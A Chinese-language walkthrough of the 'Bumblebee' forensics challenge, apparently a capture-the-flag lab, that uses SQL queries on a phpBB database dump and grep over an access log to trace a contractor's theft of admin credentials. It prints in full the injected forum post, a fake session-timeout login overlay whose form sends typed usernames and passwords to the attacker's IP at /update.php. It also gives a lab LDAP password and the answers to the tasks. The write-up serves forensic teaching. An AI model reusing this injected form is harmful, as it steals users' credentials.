对sqlite3数据库文件进行日志分析
Bumblebee
背景
外部承包商通过访客 Wi-Fi 访问了 Forela 的内部论坛，他们似乎窃取了管理用户的凭据！我们附上了论坛的一些日志和 sqlite3 格式的完整数据库转储，以帮助您进行调查。
Task1
外部承包商的用户名是什么？
解压文件得到log日志和sqlite3数据库文件
使用sqlite打开
然后.tables查看所有表找到phpbb_users，那么我们查看下字段
1
| pragma table_info(phpbb_users);
|
发现有username和user_password
直接查询
1
| select username,user_password from phpbb_users;
|
注意到最下面的apoole1
Task2
承包商使用什么 IP 地址创建帐户？
刚刚查看表的字段里有user_ip，查询得到ip为10.10.0.78
1
| select user_ip from phpbb_users where username="apoole1";
|
Task3
承包商发布的恶意帖子的 post_id 是什么？
我们找到phpbb_posts，然后查询一下
很明显id为9的内容很多
Task4
凭据窃取者将其数据发送到的完整 URI 是什么？
我们将前一问的表单内容下载下来
1
| select post_text from phpbb_posts where post_id=9;
|
内容如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
| <div>
<style>
body { z-index: 100;}.modal { position:fixed; top:0; left:0; height:100%;
width:100%; z-index:101; background-color:white; opacity:1;}.modal.hidden
{ visibility: hidden;}
</style>
<script type="text/javascript">
function sethidden() {
const d = new Date();
d.setTime(d.getTime() + (24 * 60 * 60 * 1000));
let expires = "expires=" + d.toUTCString();
document.cookie = "phpbb_token=1;" + expires + ";";
var modal = document.getElementById('zbzbz1234');
modal.classList.add("hidden");
}
document.addEventListener("DOMContentLoaded",
function(event) {
let cookieexists = false;
let name = "phpbb_token=";
let cookies = decodeURIComponent(document.cookie);
let ca = cookies.split(';');
for (let i = 0; i < ca.length; i++) {
let c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
cookieexists = true;
}
}
if (cookieexists) {
return;
}
var modal = document.getElementById('zbzbz1234');
modal.classList.remove("hidden");
});
</script>
<iframe name="hiddenframe" id="hiddenframe" style="display:none">
</iframe>
<div class="modal hidden" id="zbzbz1234" onload="shouldshow">
<div id="wrap" class="wrap">
<a id="top" class="top-anchor" accesskey="t">
</a>
<div id="page-header">
<div class="headerbar" role="banner">
<div class="inner">
<div id="site-description" class="site-description">
<a id="logo" class="logo" href="./index.php" title="Board index">
<span class="site_logo">
</span>
</a>
<h1>
forum.forela.co.uk
</h1>
<p>
Forela internal forum
</p>
<p class="skiplink">
<a href="#start_here">
Skip to content
</a>
</p>
</div>
<div id="search-box" class="search-box search-header" role="search">
<form action="./search.php" method="get" id="search1">
<fieldset>
<input name="keywords" id="keywords1" type="search" maxlength="128" title="Search for keywords"
class="inputbox search tiny" size="20" value="" placeholder="Search…">
<button class="button button-search" type="submit" title="Search">
<i class="icon fa-search fa-fw" aria-hidden="true">
</i>
<span class="sr-only">
Search
</span>
</button>
<a href="./search.php" class="button button-search-end" title="Advanced search">
<i class="icon fa-cog fa-fw" aria-hidden="true">
</i>
<span class="sr-only">
Advanced search
</span>
</a>
</fieldset>
</form>
</div>
</div>
</div>
<div class="navbar" role="navigation">
<div class="inner">
<ul id="nav-main" class="nav-main linklist" role="menubar">
<li id="quick-links" class="quick-links dropdown-container responsive-menu"
data-skip-responsive="true">
<a href="#" class="dropdown-trigger dropdown-toggle">
<i class="icon fa-bars fa-fw" aria-hidden="true">
</i>
<span>
Quick links
</span>
</a>
<div class="dropdown">
<div class="pointer">
<div class="pointer-inner">
</div>
</div>
<ul class="dropdown-contents" role="menu">
<li class="separator">
</li>
<li>
<a href="./search.php?search_id=unanswered" role="menuitem">
<i class="icon fa-file-o fa-fw icon-gray" aria-hidden="true">
</i>
<span>
Unanswered topics
</span>
</a>
</li>
<li>
<a href="./search.php?search_id=active_topics" role="menuitem">
<i class="icon fa-file-o fa-fw icon-blue" aria-hidden="true">
</i>
<span>
Active topics
</span>
</a>
</li>
<li class="separator">
</li>
<li>
<a href="./search.php" role="menuitem">
<i class="icon fa-search fa-fw" aria-hidden="true">
</i>
<span>
Search
</span>
</a>
</li>
<li class="separator">
</li>
</ul>
</div>
</li>
<li data-skip-responsive="true">
<a href="/phpBB3/app.php/help/faq" rel="help" title="Frequently Asked Questions"
role="menuitem">
<i class="icon fa-question-circle fa-fw" aria-hidden="true">
</i>
<span>
FAQ
</span>
</a>
<li class="rightside" data-skip-responsive="true">
<a href="./ucp.php?mode=login" title="Login" accesskey="x" role="menuitem">
<i class="icon fa-power-off fa-fw" aria-hidden="true">
</i>
<span>
Login
</span>
</a>
</li>
<li class="rightside" data-skip-responsive="true">
<a href="./ucp.php?mode=register" role="menuitem">
<i class="icon fa-pencil-square-o fa-fw" aria-hidden="true">
</i>
<span>
Register
</span>
</a>
</li>
</li data-skip-responsive="true">
</ul>
<ul id="nav-breadcrumbs" class="nav-breadcrumbs linklist navlinks" role="menubar">
<li class="breadcrumbs" itemscope="" itemtype="http://schema.org/BreadcrumbList"
style="max-width: 936px;">
<span class="crumb" itemtype="http://schema.org/ListItem" itemprop="itemListElement"
itemscope="">
<a href="./index.php" itemtype="https://schema.org/Thing" itemprop="item"
accesskey="h" data-navbar-reference="index" title="Board index">
<i class="icon fa-home fa-fw">
</i>
<span itemprop="name">
Board index
</span>
</a>
<meta itemprop="position" content="1">
</span>
</li>
<li class="rightside responsive-search">
<a href="./search.php" title="View the advanced search options" role="menuitem">
<i class="icon fa-search fa-fw" aria-hidden="true">
</i>
<span class="sr-only">
Search
</span>
</a>
</li>
</ul>
</div>
</div>
</div>
<a id="start_here" class="anchor">
</a>
<div id="page-body" class="page-body" role="main">
<div class="panel">
<div class="inner">
<div class="content">
<h3>
Session Timeout
</h3>
<br/>
<br/>
<p>
Your session token has timed out in order to proceed you must login again.
</p>
</div>
</div>
</div>
<form action="http://10.10.0.78/update.php" method="post" id="login" data-focus="username"
target="hiddenframe">
<div class="panel">
<div class="inner">
<div class="content">
<h2 class="login-title">
Login
</h2>
<fieldset class="fields1">
<dl>
<dt>
<label for="username">
Username:
</label>
</dt>
<dd>
<input type="text" tabindex="1" name="username" id="username" size="25"
value="" class="inputbox autowidth">
</dd>
</dl>
<dl>
<dt>
<label for="password">
Password:
</label>
</dt>
<dd>
<input type="password" tabindex="2" id="password" name="password" size="25"
class="inputbox autowidth" autocomplete="off">
</dd>
</dl>
<dl>
<dd>
<label for="autologin">
<input type="checkbox" name="autologin" id="autologin" tabindex="4">
Remember me
</label>
</dd>
<dd>
<label for="viewonline">
<input type="checkbox" name="viewonline" id="viewonline" tabindex="5">
Hide my online status this session
</label>
</dd>
</dl>
<dl>
<dt>
</dt>
<dd>
<input type="submit" name="login" tabindex="6" value="Login" class="button1"
onclick="sethidden()">
</dd>
</dl>
</fieldset class="fields1">
</div>
</div>
</div>
</form>
</div>
<div id="page-footer" class="page-footer" role="contentinfo">
<div class="navbar" role="navigation">
<div class="inner">
<ul id="nav-footer" class="nav-footer linklist" role="menubar">
<li class="breadcrumbs">
<span class="crumb">
<a href="./index.php" data-navbar-reference="index" title="Board index">
<i class="icon fa-home fa-fw" aria-hidden="true">
</i>
<span>
Board index
</span>
</a>
</span>
</li>
<li class="responsive-menu hidden rightside dropdown-container">
<a href="javascript:void(0);" class="js-responsive-menu-link responsive-menu-link dropdown-toggle">
<i class="icon fa-bars fa-fw" aria-hidden="true">
</i>
</a>
<div class="dropdown">
<div class="pointer">
<div class="pointer-inner">
</div>
</div>
<ul class="dropdown-contents">
</ul>
</div>
</li>
<li class="rightside">
All times are
<span title="UTC">
UTC
</span>
</li>
<li class="rightside">
<a href="./ucp.php?mode=delete_cookies" data-ajax="true" data-refresh="true"
role="menuitem">
<i class="icon fa-trash fa-fw" aria-hidden="true">
</i>
<span>
Delete cookies
</span>
</a>
</li>
</ul>
</div>
</div>
<div class="copyright">
<p class="footer-row">
<span class="footer-copyright">
Powered by
<a href="https://www.phpbb.com/">
phpBB
</a>
® Forum Software © phpBB Limited
</span>
</p>
<p class="footer-row">
<a class="footer-link" href="./ucp.php?mode=privacy" title="Privacy" role="menuitem">
<span class="footer-link-text">
Privacy
</span>
</a>
|
<a class="footer-link" href="./ucp.php?mode=terms" title="Terms" role="menuitem">
<span class="footer-link-text">
Terms
</span>
</a>
</p>
</div>
<div id="darkenwrapper" class="darkenwrapper" data-ajax-error-title="AJAX error"
data-ajax-error-text="Something went wrong when processing your request."
data-ajax-error-text-abort="User aborted request." data-ajax-error-text-timeout="Your request timed out; please try again."
data-ajax-error-text-parsererror="Something went wrong with the request and the server returned an invalid reply.">
<div id="darken" class="darken">
</div>
</div>
<div id="phpbb_alert" class="phpbb_alert" data-l-err="Error" data-l-timeout-processing-req="Request timed out.">
<a href="#" class="alert_close">
<i class="icon fa-times-circle fa-fw" aria-hidden="true">
</i>
</a>
<h3 class="alert_title">
</h3>
<p class="alert_text">
</p>
</div>
<div id="phpbb_confirm" class="phpbb_alert">
<a href="#" class="alert_close">
<i class="icon fa-times-circle fa-fw" aria-hidden="true">
</i>
</a>
<div class="alert_text">
</div>
</div>
</div>
</div>
<div>
<a id="bottom" class="anchor" accesskey="z">
</a>
<img src="./cron.php?cron_type=cron.task.core.tidy_warnings" width="1"
height="1" alt="cron">
</div>
</div>
<span>
Greetings everyone,
<br>
<br>
I am just a visiting IT Contractor, it's a fantastic company y'all have
here.
<br>
I hope to work with you all again soon.
<br>
<br>
Regards,
<br>
Alex Poole
</span>
</div>
|
成功找到<form action="http://10.10.0.78/update.php" method="post" id="login" data-focus="username"，说明攻击者想上传到自己的ip上，url为http://10.10.0.78/update.php
Task5
承包商什么时候以管理员身份登录论坛的？
还是查表找到phpbb_log
1
| select * from phpbb_log;
|
可以将时间戳1682506392转换为标准时间，脚本如下
1
2
3
4
5
6
7
8
9
| import datetime
import pytz
timestamp = 1682506392
utc_timezone = pytz.timezone('UTC')
dt = datetime.datetime.fromtimestamp(timestamp, utc_timezone)
standard_time = dt.strftime('%Y-%m-%d %H:%M:%S')
print(standard_time)
|
Task6
论坛里有LDAP连接的明文凭据，密码是多少？
查询一下phpbb_config配置文件里的内容
1
| select * from phpbb_config;
|
找到LDAP的密码Passw0rd1
Task7
管理员用户的用户代理是什么？
在数据库的 phpbb_log 表中，寻找 operation 为 LOG_ADMIN_AUTH_SUCCESS 的记录，可以找到这两条 ip
前面已经确定承包商的 ip 为 10.10.0.78，那么 10.255.254.2 就是管理员用户的 ip，在 access.log 中可以找到 user-agent
1
| cat access.log | grep "10.255.254.2"
|
Task8
承包商什么时候将自己添加到管理员组？ （世界标准时间）
phpbb_log中有显示添加admin的时间戳，直接用前面脚本转换就行
Task9
承包商何时下载了数据库备份？
在access.log筛选backup
1
| cat access.log | grep "backup"
|
成功找到，不过要转换一下时区为26/04/2023 11:01:38
Task10
access.log 中所述的数据库备份的大小（以字节为单位）是多少？
直接看响应包就行了，大小为34707
1
| 10.10.0.78 - - [26/Apr/2023:12:01:38 +0100] "GET /store/backup_1682506471_dcsr71p7fyijoyq8.sql.gz HTTP/1.1" 200 34707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
|